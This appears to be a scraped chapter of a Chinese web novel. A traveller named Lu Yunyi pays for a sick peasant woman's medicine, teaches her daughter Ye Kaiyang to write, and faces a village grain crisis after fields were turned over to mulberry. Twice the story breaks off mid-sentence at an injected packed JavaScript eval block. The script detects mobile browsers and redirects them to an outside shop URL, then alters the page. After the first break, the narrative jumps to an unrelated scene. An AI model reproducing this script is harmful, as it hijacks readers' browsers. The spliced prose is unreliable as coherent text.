“我还以为……” 后面的话,她说不出口。 她以为那是孩子。 她以为自己终于能让家里添一口真正被盼着的人。村里人说她肚子尖,说她这回定是男胎,叶成也信,连那间空房都更认真地收拾了几回。 可如今郎中说,那不是孩子。 是病。 叶成坐在门槛上,半天没动。 赵郎中开了方子。 “先吃七日药。不能再下田,也不能总吃稀粥咸菜。要少盐,吃些软和养胃的。若能调起来,还能慢慢看。若再拖,就不好说了。” 叶成抬头问:“药钱多少?” 赵郎中说了一个数。 叶成的脸立刻垮下来。 这钱对陆云逸来说不算什么,对叶家却像一堵墙。 他下意识看向田氏,又看向院角那几只鸭子,像在心里算要卖什么才能凑出来。 陆云逸道:“药钱我付。” 叶成猛地抬头。 “公子,这怎么成?” 陆云逸没有同他争,只把银子放到赵郎中手边。 “先抓七日。” 赵郎中看了他一眼,收下银子。 叶成嘴唇动了动,忽然站起来,朝陆云逸深深作了一揖。 他不是读书人,礼行得笨拙。 “公子大恩。” 陆云逸避开半步。 “先治病。” 田氏在屋里也要起身,被赵郎中按住。 “你如今最要紧的是躺着。” 田氏眼泪还在掉。 叶开阳站在门口,一直没有说话。 她听懂的不多。 可她听懂了两件事。 第一,娘肚子里没有弟弟。 第二,娘病了。 这两件事一件让她心里轻了一下,另一件又立刻压得她喘不过气来。她觉得自己不该因为没有弟弟而轻松,可那一点轻松偏偏是真的。她又因为这点轻松,生出更深的愧疚。 她低头看着自己的脚尖。 赵郎中走后,院子里许久没人说话。 田氏躺在屋里,脸朝里,肩膀偶尔轻轻动一下。叶成坐在门槛上,手里攥着赵郎中留下的方子,像攥着一张自己看不懂的债契。叶开阳蹲在灶前熬药,火光照着她的脸,她一直盯着瓦罐,像怕一眨眼药就坏了。 陆云逸坐在院中,忽然觉得这座小小的农家院子比昨夜更安静。 昨夜这里还有一个没有出生的孩子。 今日没有了。 只剩下一场病,一个方子,七日药,还有接下来不知道要花多少的银钱。 叶成忽然开口。 “我不是盼她病。” 这句话说得没头没尾。 陆云逸看向他。 叶成低着头,声音发闷。 “我就是……想着家里能多个男娃。” 他说到这里,自己也停住了。 这话在乡下太寻常。 寻常到几乎不用解释。没有儿子的人家,腰杆子矮半截;田地没人继,祭祀没人管,老了没人撑门面。女儿再勤快,迟早也是别人家的人。这些话不只是叶成一个人说,村里人都这样说,祖辈也这样说。 陆云逸没有指责他。 指责没有用。 叶成不是一个特别坏的人。他只是生在这套说法里,也信了这套说法。可这套说法落在叶开阳身上,便成了那间她不能住的屋,成了她碗里没有的煎蛋,成了她名字里那个被人强行解释成“开始生儿子”的开阳。 陆云逸沉默片刻,只道:“先把嫂子的病养好吧。” 叶成点点头。 他像忽然老了几岁。 瓦罐里的药滚起来,冒出苦气。 叶开阳拿布包着罐耳,小心把药倒出来。她人小,手腕不稳,险些洒了。陆云逸上前帮她接了一下。 药汁黑沉沉的,热气熏得人眼睛发酸。 叶开阳忽然问:“公子,我娘会死吗?” 屋里田氏的哭声停了。 叶成也抬起头。 陆云逸看着叶开阳。 这孩子问话总是这样直接。 他不能像骗普通小孩那样说不会。 也不能把所有沉重都压给她。 “治得早,就还有机会。” 叶开阳认真问:“机会大吗?” 陆云逸顿了一下。 “要看药,也要看养。” “养是什么意思?” “少劳累,吃饱些,心里别总憋着。” 叶开阳点点头。 “那我多干活。” 田氏在屋里哽声道:“开阳……” 叶开阳端着药进去。 她走得很慢,怕洒。 田氏接过药碗时,手还在抖。叶开阳站在床边,看着她一口一口喝下去。药很苦,田氏皱着眉,却没停。 喝完后,田氏把空碗递给她。 “苦吗?”叶开阳问。 田氏点点头,又摇摇头。 “还好。” 叶开阳看着她,忽然伸手替她掖了掖被角。 她平日做这些事很多。 烧水,洗碗,喂鸭,扫院子。可这一次,她做得很慢,像是在学一件从前没人教过她的事。 照顾人。 不是为了换饭吃,也不是为了少挨骂。 只是因为那是她娘。 从那天起,陆云逸在叶家多住了下来。 他原本只想借宿一两夜,后来却一住便住了许久。 赵郎中隔三日来一回。每来一回,叶成便紧张一回。药钱大多是陆云逸付的。叶成起初推辞,后来实在推不动,便把家里能拿出来的东西都往陆云逸面前摆。几只鸭蛋,两把青菜,一捆晒好的柴,还有田氏年轻时织的一块粗布。 陆云逸没有全收,只收了鸭蛋。 叶成似乎因此好受了些。 穷人受恩,也怕受得太空。若一点东西都还不出去,恩便像债,压得人喘不过气。 田氏吃了几日药,腹胀没有立刻消,却夜里能稍稍睡一会儿了。脚踝仍肿,脸色也还是黄,可她不再强撑着下地。叶成开始自己做一些从前田氏做的事,笨手笨脚,常把锅底烧糊。 叶开阳则比从前更忙。 她早起喂鸭,烧水,熬药,洗碗,扫院子。到了傍晚,才有一点空,拿树枝在院角学字。 陆云逸没有教她太多。 每日只教一两个。 “叶” “开”。 “阳”。 “生”。 “药”。 “水”。 “田”。 她学得很慢,却记得牢。地上的字被踩乱了,她便在灰里再写;灰被风吹散了,便在田埂边用树枝写;下雨时写不了,她就在掌心里一笔一画地描。 有一日,叶成看见她在地上写字,皱眉道:“女娃学这个做什么?” 叶开阳手一停。 陆云逸没有立刻替她说话。 这句话不是叶成第一次说,也不会是世上最后一个父亲这样说。 过了一会儿,叶开阳自己低声道:“我想认药方。” 叶成愣住。 她指了指屋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陆云逸看了看她,他的目光有一瞬间像落在很远的地方,又像从那里很快收了回来。 “以后再说吧。” 萍儿一怔。 陆云逸没有解释。 他只是端起茶盏,却发现茶已经冷了,便又放下。 颜淞看在眼里,没有追问。他知道有些事,陆云逸不是忘了,而是不愿在此刻说。一个病人愿意停下,也许比比他说完更要紧。 陆云逸道:“宫中太医说过一点。腹大不一定都是有孕,面黄、足肿、食少、小便少,便要疑水湿。只是我也不敢断,所以请了郎中。” 颜淞点点头。 陆云逸看着他,忽然道:“颜太医。” “臣在。” “赵郎中看了田氏,能说她不是有孕,是水臌。”陆云逸声音很平,“那你看了我这些日子,可看出什么了吗?” 颜淞的笔尖顿住。 萍儿也猛地看向他。 这句话来得突然。 前一刻,陆云逸还在讲湾湾村,讲田氏,讲叶开阳在地上写字。下一刻,他便把话转回自己身上。 颜淞抬头,对上陆云逸的眼睛。 那眼神清醒,温和,却带着一种很深的疲惫。 不像昨夜的鸯鸯。 也不像前夜那个防备的人。 是陆云逸。 至少此刻是。 颜淞斟酌片刻,道:“臣还在看。” 陆云逸没有意外。 “你不敢说。” 颜淞沉默了一下。 “不是不敢说,是不能轻说。田氏的病有脉象,有腹胀,有足肿,有小便多少,可以按证查。殿下的病不同。牵涉旧事,也牵涉心神。若臣轻易定名,反倒容易误人。” 陆云逸看着他。 过了一会儿,他轻轻笑了一下。 那笑里没有讽刺,只有倦意。 “你比广陵府衙谨慎。” 萍儿心里一紧。 颜淞道:“臣是医者,不是断案的官。” 陆云逸垂下眼。 “医者也要断。” “是。”颜淞道,“所以更不能草率。” 陆云逸没有再问。 屋外有风吹过梅枝,枝头一点白花颤了颤。房中炭火渐弱,热意一点一点散去。 最后,陆云逸揉了揉眉心。 “今日说得太多了。” 萍儿忙上前:“那便不说了。” 陆云逸点头。 “我累了,说不动了。” 颜淞收起纸笔。 他知道今日不能再问。 陆云逸闭上眼,靠在椅背上。脸色很白,像一个刚从很远的地方走回来的人,终于愿意承认自己走不动了。 萍儿站在他身旁,没有说话。 颜淞背起药箱,临走前回头看了一眼。 陆云逸仍闭着眼。 可他的手指,轻轻搭在椅边,一下一下,像在无意识地写什么。 颜淞看了一会儿,忽然认出来。 那笔画不全,断断续续。 像一个“生”字。 又像写到一半,便没有力气再写下去了。 13. 桑田误把稻田休 第二日,颜淞再到明亲王府时,陆云逸已经醒了。 萍儿说,他昨夜睡得不算安稳,中途醒过两回。第一回问自己是不是还在湾湾村,第二回又问药熬好了没有。萍儿顺着他说,药已经熬好了,田氏也喝了。他听完,便又睡了。 到天亮时,他却恢复了平日的样子。 颜淞进屋时,陆云逸正坐在窗边,看着院中那株老梅。 梅花比昨日又开了两三点。 他听见脚步声,回过头来,神色略有倦意,却清明。 “颜太医。” 颜淞行礼:“殿下今日可好些?” 陆云逸道:“好些。” 萍儿在旁边看着他,眼里有担忧,却不敢显得太重。 颜淞坐下,取出纸笔。 “殿下昨日说到赵郎中诊出田氏是水臌。” 陆云逸点了点头。 “是。” 他停了一下,像在整理记忆。 “那以后,我在湾湾村住了很久。” 颜淞问:“多久?” “或许是半年。” 颜淞的笔顿了顿。 半年并不短。 陆云逸从前讲广陵时,已经在那里耽搁数月。如今到湾湾村,又住了半年。这个游历,早已不是明亲王府对外所说的简单散心。 陆云逸像是看出他的疑问,淡淡道:“我那时不想走。” 他看向窗外。 “京城太远,广陵太重,姑苏城里太吵。湾湾村穷,也旧,可它小。小地方的人,苦也小一些,至少我那时以为是这样。” 颜淞没有接话。 他知道陆云逸说“以为”时,后面往往跟着另一层更深的东西。 陆云逸继续讲了下去。 …… 赵郎中给田氏开了七日药。 药很苦,也贵。 叶成每次看着药包,都像看见一袋子粮食被熬成了黑水。可他不敢不熬。田氏吃了药,夜里腹胀稍缓,脚肿也不像先前那样厉害。虽远谈不上痊愈,却总算能睡一会儿,脸上的死黄也慢慢退了一点。 这便足够让叶家觉得,陆云逸真是救命恩人。 乡下人说恩,往往不说太多好听话。 叶成只是每日天不亮便起身,把院子扫干净;田氏好些时,便坚持给陆云逸多蒸一个蛋;叶开阳则每日多烧一壶水,放在陆云逸房门前,像还他教字的“学费”。 陆云逸没有再推。 他知道,受恩的人若什么都还不了,心里会难受。 他便收下那些细小的回报。 一壶水。 一把洗干净的青菜。 几只还带着温热的鸭蛋。 日子慢慢往前走。 田氏的病没有一下子好,但也没有继续坏下去。赵郎中隔几日来看一次,方子改过两回。后来他说,水臌这种病,最忌劳累和饥饿。药只是药,若人仍旧吃不饱、睡不好、天天下地,便是神仙方子也难长久。 叶成听得很认真。 他从前不觉得女人做活有什么不对。田氏嫁进来便做活,生了叶开阳后也做活,病了也做活。村里女人都这样。若谁家媳妇太娇气,便要被人笑话。 可是赵郎中说,田氏这病多半就是多年亏损、劳累、饮食太差积出来的。 这话像一根细针,扎进叶成心里。 他没有立刻变成另一个人。 人不是听一两句道理便能脱胎换骨的。 他仍会下意识唤田氏去拿东西,唤完又忽然停住,转头自己去拿。他仍会嫌叶开阳写字耽误烧火,可看见她把药方上的“水”“草”“日”认出来,又会沉默半天。 陆云逸看着这些,心里并不轻松。 叶成不是恶人。 可许多苦,原本就不是恶人才给的。 有时候,一句“村里都这样”,便足够压住一个人半辈子。 叶开阳学字很快。 不是因为她聪明到异于常人,而是因为她太想学。 陆云逸一开始只教她名字。 开。 阳。 后来教她家里常见的字。 水。 米。 田。 药。 火。 鸭。 再后来,教她数。 一、二、三、四、五。 十。 百。 她最喜欢“北斗”两个字。 乡下人靠天吃饭,夜里看星,早晨看云,傍晚看风,都是祖祖辈辈传下来的本事。星明,明日多半晴;星暗,云气重,也许要变天。叶成有时也会仰头看一眼天色,再决定明日下不下田。 可他们看星,是看天。 不是看一个女孩名字里的光。 陆云逸告诉叶开阳,开阳是北斗七星里的一颗,又叫武曲星。叶开阳听了许久,像听见了一个同自己有关、却从来没人告诉过她的秘密。 可天上的星太远。 只用手指,哪里分得清哪一颗是哪一颗? 于是陆云逸在院中的泥地上画给她看。 他先画出一个勺子的形状,又用小石子摆成七个点。 “这是天枢,这是天璇,这是天玑,这是天权。” 他从勺口一点一点往后指。 “这是玉衡。” 然后,他把手指停在第六颗小石子上。 “这是开阳。” 叶开阳蹲在旁边,眼睛一眨不眨。 “这是我?” 陆云逸道:“这是与你同名的星。” “它亮吗?” “亮。” “比别的亮吗?” 陆云逸想了想,道:“每颗星亮法不同。” 叶开阳似乎没听懂。 陆云逸便说:“它不是因为旁边有星,才叫开阳。它自己就是开阳。” 这句话,她像听懂了。 那天夜里,她在地上写了很多遍自己的名字。 写到最后,树枝都折了。 陆云逸又教她一些书上的事。 不是四书五经那样正经的读书,也不是宫中太傅那种严整的课业。他只是把自己路上见过的东西讲给她听。 润州有大江,江上船帆像鸟。 丹阳有桑田,蚕吃桑叶时像小雨落在纸上。 毗陵有桥,桥下船户骂官卡,说水不要钱,人要钱。 无锡有大湖,清晨雾气白得像米汤。 姑苏城里巷子窄,人说话软,鱼确实好吃。 叶开阳听得入神。 她没去过太远的地方,最远只到过镇上。镇上的药铺、米行和布摊,对她来说已经是很大的地方。陆云逸说起那些城,那些水,那些船,她便觉得世上忽然变得很宽。 可她问得最多的,仍是最实在的问题。 “润州的人吃什么?” “丹阳的蚕能卖多少钱?” “毗陵官卡为什么要收钱?” “无锡那么多水,米会不会便宜?” “姑苏鱼好吃,是不是很贵?” 陆云逸有时答得上来,有时答不上来。 答不上来时,他也不装懂,只说:“我没有问清。” 叶开阳便点点头。 “那以后要问清。” 她说这话时,语气很认真,像替他记下一桩功课。 陆云逸被她说得怔了一下,随后笑了。 “好,以后问清。” 半年里,叶家慢慢把他当成自家人一样对待。 当然,不是完全一样。 他毕竟是外来的公子,衣料再旧也看得出不是乡下人。叶成对他始终带着敬畏,田氏也总不敢真正随意。可叶开阳不同。她起初怕他,后来渐渐不怕了。 她会问他为什么读书人写字那么快。 会问他京城是不是人人都穿绸缎。 会问皇帝吃不吃咸菜。 有一次,她问:“公子,你有自己的屋吗?” 陆云逸答:“有。” “很大吗?” “比这间大些。” “你一个人住?” “嗯。” 叶开阳沉默了很久。 然后说:“那你一定不怕下雨。” 陆云逸那时不懂。 后来才明白,她说的不是雨。 她是说,一个人若有自己的屋,雨夜里就不会担心被赶出去,不会担心弟弟出生后自己没有地方睡,不会担心长大后被一辆牛车拉走,嫁到一个陌生人的屋里去。 可那时陆云逸没有答。 他只是教她写了一个字。 屋。 叶开阳写得很慢。 写完后,她问:“屋和家一样吗?” 陆云逸道:“不一样。” “哪里不一样?” 陆云逸想了很久。 “屋是能住人的地方。家是住进去以后,还想回来的地方。” 叶开阳看着地上的字,没有说话。 过了一会儿,她又写了一个“家”。 那个字比“屋”还难。 她写了三遍,都写不好。 最后她蹲在地上,皱着眉说:“家太难写了。” 陆云逸看着她,想起林鸯鸯说过,“安”字难写。 他忽然觉得,也许世上所有被宝盖头压住的字,都很难写。 湾湾村的冬天不太冷,却湿。 屋里的被褥总有些潮气,稻草垫久了,会生出霉味。田氏病后不能受寒,陆云逸出钱让叶成把屋顶漏雨的地方补了,又买了两床厚些的旧棉被。 叶成嘴上说太破费,心里却是感激的。 田氏好了些后,能坐在门口晒太阳。她不再一味盼着那个不存在的儿子。只是偶尔看着东边那间房,眼神会有些空。 那间房仍由陆云逸住着。 叶成没再提“给儿子留着”的话。 叶开阳也不提。 可她每次经过那扇门,目光总会停一下。 陆云逸知道,她仍想要一间自己的屋。 他没有许诺。 他已经学会了,许诺太轻,世道太重。 能做的事,要一件一件做;不能做的事,若先说出口,反倒像骗人。 可是村里的日子,并没有因为叶家稍稍好转,就真的变好。 最先不对的,是年关。 湾湾村一入腊月,照旧也该有些年味。往年这个时候,各家会扫屋檐,洗被褥,晒一晒旧衣裳。有钱些的人家会买红纸,请识字的人写对子;没钱的人家,也会把门前泥地扫干净,在灶前供一碗米,盼来年风调雨顺。 今年也扫屋,也洗衣,只是人声低了许多。 孩子们原本最盼过年。过年有肉吃,有新鞋穿,若运气好,还能从长辈手里得几个铜钱。可今年村里的孩子先闻见肉香,竟不是因为年到了,而是因为许多人家撑不住,提前把鸡鸭杀了。 叶家也杀了一只鸭。 那鸭原本是要留到年下的。叶成说它不下蛋了,留着还费食。田氏听了,没有说话。叶开阳蹲在院角,看着那只鸭被拎走,手里还攥着一把没来得及撒出去的碎水草。 晚饭时,桌上难得有了一碗鸭肉。 陆云逸在叶家住久了,已经习惯了清粥咸菜。忽然见到荤腥,心里不但没有松快,反而沉了一下。 这肉来得太早。 早到不像过年,倒像人在掏箱底。 村里也是这样。 东家杀鸡,西家杀鸭,有家境稍好些的,连原本要留到除夕祭祖的年猪也提前杀了。那几日湾湾村反倒像忽然富了一点。村道上有肉味,孩子们手里捧着骨头啃,几户人家还分到一点猪血和下水。 可大人脸上没有多少喜气。 过年的肉,本该是盼头。 提前吃掉,便成了怕。 怕再养下去没有饲料,怕米价再涨,怕到除夕时锅里空着。牲口养着要吃东西,人都快没粮了,哪里还顾得上鸡鸭猪羊? 荤腥只热闹了几日。 鸡鸭吃完,骨头熬过两遍汤,锅里便又清了。那些提前杀猪的人家,也舍不得顿顿吃肉,能腌的腌,能藏的藏。更多人家连猪也没有,只有一口越来越空的粮瓮。 于是村里人又去河汊和水沟里捞鱼。 湾湾村靠水,往年缺菜时,也有人下网捞些小鱼小虾,摸螺蛳、河蚌。起初还真捞得上来些。叶成带着叶开阳去过两回,叶开阳挽着裤脚站在浅水边,冻得脚发红。若竹篓里跳进一条小鱼,她眼睛便亮一下。 可很快,鱼也少了。 不是河里一下没了鱼,而是下水的人太多。大网小网,竹篓鱼叉,连半大的孩子都在河边摸螺。那几条水沟本就不大,哪里禁得住全村这样捞? 再后来,叶成空着手回来。 叶开阳跟在后面,裤脚湿透,脸冻得发青。田氏忙拿布替她擦脚,灶上的锅里却只是一锅几乎看不见米粒的菜糊。 陆云逸这才真正意识到,湾湾村不是忽然陷入饥荒的。 它是一点一点滑下去的。 先是饭桌上多了一顿不该出现的肉。 再是家里的鸡鸭少了。 然后是河里的鱼虾少了。 最后,是粮瓮里的木勺刮到了底。 到了腊月二十前后,村里的炊烟明显少了。 往年临近年下,各家虽穷,总要蒸点糕、煮点糯米饭,或者熬一锅比平日稠些的粥。可今年,许多人家早饭不烧,只喝昨夜剩下的米汤。有人把糠、野菜和碎米混在一起煮,闻着一股苦味。 米价涨得太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520938|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快。 快到乡下人还没想明白,手里的钱便已经买不起米了。 湾湾村本是靠水吃水的地方。 村边两条水沟通向大河,地势低,水田多,祖祖辈辈种稻。虽不大富,至少有口饭吃。可前几年,瑞国商人来江南收丝绸,价开得极高。县里、乡绅、牙人都说种桑养蚕来钱快。有人先把几亩好田改成桑田,赚了一笔。别人见了眼红,也跟着改。 叶成也改了。 那两年他卖茧得了钱,打了新床板,添了新柜子,还把东边那间屋收拾出来,想着将来若有儿子,总要有个自己的地方。村里许多人也一样,买布,修屋,办酒席。过年时,肉都比从前多割几斤。 他们以为好日子就这样来了。 可是今年,丝绸忽然卖不动了。 瑞国商人少了,来的几个也压价压得厉害。乡下人不懂海路,也不懂商税,更不懂瑞国那边出了什么变故,只知道手里的茧、丝、棉忽然不值钱了。 偏偏米又贵起来。 湾湾村少种了稻,口粮便要靠外头运来。往年从湖广、江西沿大江运米过来,再由商船分到各县。只要丝价好,买米不算难。可今年外地连绵阴雨,听说有些地方田里积水,收成不好。米船少了,运价高了,米商便把价抬了又抬。 镇上的米行起初还卖。 后来开始限量。 再后来,干脆关了半扇门,只卖给熟人和大户。 叶成带着钱去买米时,米行掌柜隔着门说:“没米。” 叶成说:“昨日我还见你们抬袋子进去。” 掌柜道:“那是人家早订的。你要买,等下月。” 叶成愣在门口。 下月? 下月人还吃不吃饭? 他没有问出口。 问了也没有用。 最后,他只买回两升碎米,价钱比从前贵了一倍不止。 回到家时,他把那两升碎米放在灶台上,脸色灰败。田氏看了一眼,没有说话。叶开阳也没有说话,只拿起米袋,倒进瓮里。 那点碎米落进瓮底,声音轻得几乎听不见。 从那日起,叶家的粥越来越稀。 田氏需要养病,本该吃好些,可她每次都说自己不饿,把碗推给叶开阳。叶开阳又推回去。母女俩推来推去,最后叶成发了火,说吃顿饭也不安生。 他说完,自己却把碗放下了。 “我去田里看看。” 田里有什么好看? 桑树光秃秃地立着,等春日发芽。棉地还没到时候。稻田少了许多,即便想再种回去,也不是说改就能改。田埂边有几个男人蹲着说话,声音压得低低的。 有人说去镇上借粮。 有人说把桑树砍了,重新种稻。 也有人说,今年先熬过去,等瑞国商人回来就好了。 可没人知道怎么熬。 那天晚上,叶成终于对陆云逸开口:“公子,你能不能……少给些房钱?” 他说完,脸立刻红了。 不是因为羞愧收钱。 而是因为他本来想说的不是这个。 他想说,公子,你能不能借些米? 可那话太重,他说不出口。 陆云逸看着他。 “家里没粮了?” 叶成嘴唇动了动。 “还能撑几日。” 这句话,陆云逸在很多人嘴里听过。 还能撑几日。 这不是有粮。 这是快没有了。 陆云逸问:“村里都这样?” 叶成低头道:“差不多。前几年大家都改种桑,谁也没想到今年丝价掉成这样。米又贵,船又少。镇上米行不卖给我们这些散户,说没粮。” 他说到这里,声音里有些茫然。 “明明前两年还好好的。” 陆云逸没有马上答。 他知道自己有银子。 可以买叶家一个月、两个月,甚至一年的米。 可湾湾村不止叶家。 只给一户买米,救不了整个村。 就像当初只救出林鸯鸯,救不了春水绣坊后来所有人的命。 屋里,田氏压着声音清了清喉。她近日药不能断,饭却越来越少,脸色又差了些。叶开阳坐在灶边,把几粒小石子从一个碗倒到另一个碗里。 那原本是记药日子的。 如今她又拿来记米日子。 一粒石子,算一日。 碗里只剩三粒。 陆云逸看着那只缺口碗,忽然觉得胸口发闷。 过了很久,他问:“里正家还有粮吗?” 叶成迟疑道:“有些。他家田多,没全改桑。” “村里还有多少粮?” “不知道。” “镇上米行到底有没有米?” 叶成沉默片刻。 “有。” “只是不卖?” “卖给大户,卖给熟人。卖给我们,价也高得吓人。” 陆云逸点点头。 他已经不能再只从袖中掏银子了。 银子能买药,能买一顿饭,能买一间屋子的暂住。可当米市停摆,粮船不来,整座村子的粮瓮都在见底时,银子忽然也变得不那么可靠。 他抬头看向叶成。 “明日,带我去见里正。” 叶成怔住。 “见里正做什么?” 陆云逸道:“先知道村里还剩多少粮。” “然后呢?” 陆云逸没有答。 因为他也还不知道然后。 风从院外吹过来。 桑树枝条在夜里发出细碎的响声。那些树前两年曾给湾湾村带来银子,如今却像一排排站在田里的空影。 叶开阳抬头看陆云逸。 她没有问明日学什么字。 她问:“公子,米会回来吗?” 陆云逸看着她。 过了很久,他说:“要想办法。” 叶开阳又问:“想办法,是哪个字?” 陆云逸没有立刻回答。 他捡起树枝,在地上写了两个字。 办法。 写完后,他又在旁边写了一个字。 粮。 叶开阳蹲下来,借着昏暗的火光看。 “这个字难。” “嗯。” “比家还难吗?” 陆云逸看着那个“粮”字。 “有时候,比家还难。” 叶开阳没有再说话。 她接过树枝,在泥地上慢慢描。 粮。 一笔一画,写得很慢。 像一个孩子第一次知道,世上不只有名字、药、生、家。 还有粮。 14. 分粮先过朱门后 叶成第二日带陆云逸去见里正。 里正家在村东头。 那院子比叶家大许多,门前有一块平整的晒谷场,墙边堆着几捆柴,鸡在院里啄食。院门虽旧,却刷过桐油,门槛也比旁人家的高一些。 叶成站在门外,先整了整衣襟。 他平日见里正并不少,可这次带着陆云逸来,心里不知为何发虚。 里正姓周,五十来岁,脸圆,眼睛不大,说话慢吞吞的。他家田多,从前没有全改桑,因此粮瓮比旁人家厚些。村里人嘴上不说,心里都知道,若湾湾村还有谁能撑到来年春天,大约就是周里正家。 周里正见陆云逸来了,忙让人搬凳子。 他知道陆云逸住在叶家,也知道田氏的病是这位外来公子出钱请了郎中。乡下地方藏不住事,谁家买了几斤米,谁家卖了一只鸭,半日便能传遍村头村尾。 周里正一边让人倒水,一边笑道:“陆公子怎么有空到我这里来?” 陆云逸没有绕弯子。 “我想知道,村里还剩多少粮。” 周里正端水的手停了一下。 叶成低下头。 这话太直了。 村里人平日问粮,都不会这样问。粮是人命,也是家底。谁家剩多少,旁人不好问;问了,人家也未必说真话。 周里正笑容淡了些。 “这我哪里知道?各家各户的粮,自然在各家瓮里。” 陆云逸道:“里正应当大致知道。” 周里正看着他。 陆云逸继续道:“哪几家田多,哪几家改桑多,哪几家有老人孩子,哪几家已经去镇上买米,哪几家开始杀鸡鸭,村中不会无人知道。” 周里正沉默了一会儿。 他没有立刻答,只转头吩咐儿媳把门关上。 院门合上后,外头鸡叫声也轻了些。 周里正这才道:“陆公子,你是外来人,不知道村里的难处。” 陆云逸道:“正因我是外来人,才要问。” 周里正叹气。 “问清楚了,也未必有用。” “总比糊涂着等死好。” 这句话说得不重。 可屋中几个人都静了。 周里正抬头看了陆云逸一眼。这个年轻公子年纪不大,说话却不像寻常富家子弟那样飘。他坐在这间乡下堂屋里,衣裳虽朴素,神气却稳。稳得让人不敢拿空话糊弄。 周里正终于开口。 “村里一共四十七户。去年秋后,粮本该够吃到三四月。可这几年改桑改棉,稻田少了一半还多。前两年丝价好,大家卖了茧和棉,拿银子买米,倒也过得去。今年丝价跌了,米价又涨,许多人家买不起。” 他掰着手指算。 “还有粮能撑半个月以上的,不超过十户。能撑个十天的,十几户。剩下的,多数也就是两三日。有几家已经断顿,只是不好意思说。” 叶成听得脸色发白。 他原以为自己家已经难,没想到村里竟有比他家更难的。 陆云逸问:“村里可有社仓?” 周里正苦笑。 “有过。” “粮呢?” “前几年修堤、办祭、借给几户灾病人家,慢慢就空了。后来丝价好,大家都说手里有银子,社仓放着也生虫,便没怎么补。” 陆云逸看着他。 周里正脸上有些挂不住,却也没有狡辩。 “这事是我失职。可那时谁想得到今年会这样?家家都说卖茧有钱,买米容易,谁还愿意把好粮交到仓里?” 陆云逸沉默片刻。 这话不是没有道理。 人在好年景里,总觉得坏日子不会突然来。可坏日子来的时候,从不提前打招呼。 “镇上的米行有粮吗?”他问。 周里正压低声音。 “有。” “为何不卖?” “也卖。”周里正道,“只是价高,且先卖给熟户、大户。小户散买,便说没粮。米行也怕。若放开卖,几日就抢空。抢空了,后头再来人怎么办?他们便关着门,一袋一袋地往外放。” 叶成忍不住道:“可我们拿钱去,他也不卖!” 周里正看了他一眼。 “你那点钱,买两斗三斗。大户一买十石二十石,还提前付定银。米行不卖给他们,卖给你?” 叶成张了张嘴,没说出话。 这话难听,却是实情。 陆云逸问:“县里呢?县衙不管?” 周里正脸上露出一种更复杂的神情。 “还没到报灾的时候。” “人都快断粮了,还没到?” “没饿死人,便不好报。”周里正道,“报了也要查。县里查,府里查,来来回回。再说,咱们这里不是水冲了田,也不是蝗虫吃了苗。官府问起来,田呢?田还在。桑呢?桑也在。是你们自己改种桑棉,如今丝价跌,米价涨,便说灾。大人们未必认。” 陆云逸听着,心一点点沉下去。 这不是没有粮那么简单。 这是每一层人都有自己的理。 米行有理。 他们怕粮被抢空,怕后面无粮可卖,也想趁价高多赚。 里正有理。 村里没有立即饿死人,报灾未必批,反而可能惹麻烦。 县里也有理。 田不是没收,桑不是没长,账面上看,湾湾村甚至不是最惨的地方。 可这些理堆在一起,湾湾村的人就要饿肚子。 陆云逸道:“先把村里各户余粮数出来。” 周里正立刻摇头。 “不成。” “为何?” “没人会说真数。”周里正道,“这时候,谁家若说自己还有粮,夜里就有人惦记。谁家若说自己没粮,旁人也未必信。你今日要数粮,明日村里就要吵起来。” 叶成低声道:“可不数,怎么知道谁家先断?” 周里正看向他。 “谁先断,谁自己会来借。” “那若借不到呢?” 周里正没答。 屋里静了片刻。 陆云逸道:“那就不数各家私粮,数能凑出来的公粮。” 周里正皱眉:“社仓已空。” “不是社仓。”陆云逸道,“村里还有没有可共同支用的东西?比如祠田、族田、寺庙田租、渔网、船。” 周里正沉吟片刻。 “祠田有三亩,还没改桑。粮在族老那里。可那是祭祖用的。” 叶成忍不住道:“人都没饭吃了,还祭什么祖?” 周里正瞪他。 叶成立刻低下头。 陆云逸没有笑。 在乡下,祭祖不是小事。祠田动不得,不是因为人不知轻重,而是因为那是宗族规矩。规矩一旦破了,谁来担责?今年吃了祭田粮,明年祖宗牌位前空着,族里人能把周里正骂死。 陆云逸问:“族老是谁?” “周大伯。” “我去见他。” 周里正看着他。 “陆公子,你有银子,也有好心。可村里的事,不是有银子好心就成的。” 陆云逸道:“所以才要一件一件谈。” 周里正沉默许久,终于起身。 “那便去吧。” …… 周大伯已经七十多岁。 他住在村北,屋子旧,却正对着祠堂。老人耳朵不太好,说话要人凑近些。他听完陆云逸来意,脸立刻沉下来。 “祠田粮不能动。” 周里正道:“大伯,村里有几家快断粮了。” “断粮就借。”周大伯道,“谁家没难过?再难,也不能动祖宗粮。” 叶成站在旁边,嘴唇动了动,不敢插话。 陆云逸问:“若借不到呢?” 周大伯看向他。 “你是外人,不懂规矩。” “我是不懂。”陆云逸道,“所以来问。祖宗粮留着,是为保宗族香火。若族中活人饿死,这香火又是谁续?” 周大伯一怔。 他年纪大,脾气硬,却不是糊涂人。只是许多规矩守了一辈子,突然有人说要动,他本能地不肯。 “那也不能随便开仓。”老人道,“一开,人人都来要。给谁不给谁?给多给少?今年给了,明年呢?” “记账。”陆云逸道。 周大伯皱眉:“什么账?” “按户登记。先借给快断粮的人家,等明年收成后还。还不上,便折工,修渠、补堤、补社仓,都可算。” 周里正听着,眼睛微微一动。 这法子并不新鲜。 许多地方的义仓、社仓原本就是这样。只是湾湾村前几年被丝价冲昏了头,旧规矩散了。如今重新提起来,倒不是完全不可行。 